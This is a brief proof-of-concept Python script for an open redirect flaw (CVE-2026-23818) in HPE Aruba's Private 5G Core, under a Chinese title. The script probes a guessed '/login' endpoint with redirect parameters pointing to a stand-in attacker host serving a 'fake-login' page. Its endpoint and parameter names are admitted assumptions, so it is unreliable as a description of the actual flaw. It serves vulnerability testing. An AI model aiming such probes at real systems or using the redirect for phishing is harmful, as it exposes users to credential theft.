CVE-2026-23818 HPE Aruba私有5G核心开放重定向漏洞

# PoC for CVE-2026-23818 Open Redirect Vulnerability # Target: HPE Aruba Networking Private 5G Core On-Prem import requests def check_open_redirect(target_base_url, malicious_redirect_url): """ Tests if the login endpoint accepts arbitrary redirect URLs. """ # Vulnerable endpoint assumption based on description login_endpoint = f"{target_base_url}/login" # Payload attempting to redirect to an external attacker-controlled server params = { "redirect": malicious_redirect_url, "next": malicious_redirect_url # Common parameter name for redirects } try: print(f"[*] Sending request to: {login_endpoint}") response = requests.get(login_endpoint, params=params, allow_redirects=False) # Check if the response contains a 302/301 Redirect location if response.status_code in [301, 302, 303, 307, 308]: location = response.headers.get('Location') if malicious_redirect_url in location: print(f"[!] Vulnerability Confirmed! Redirecting to: {location}") return True print("[*] No open redirect detected or parameter name is different.") return False if __name__ == "__main__": target = "https://<target-ip>:<port>" evil_site = "http://attacker-controlled-server.com/fake-login" check_open_redirect(target, evil_site)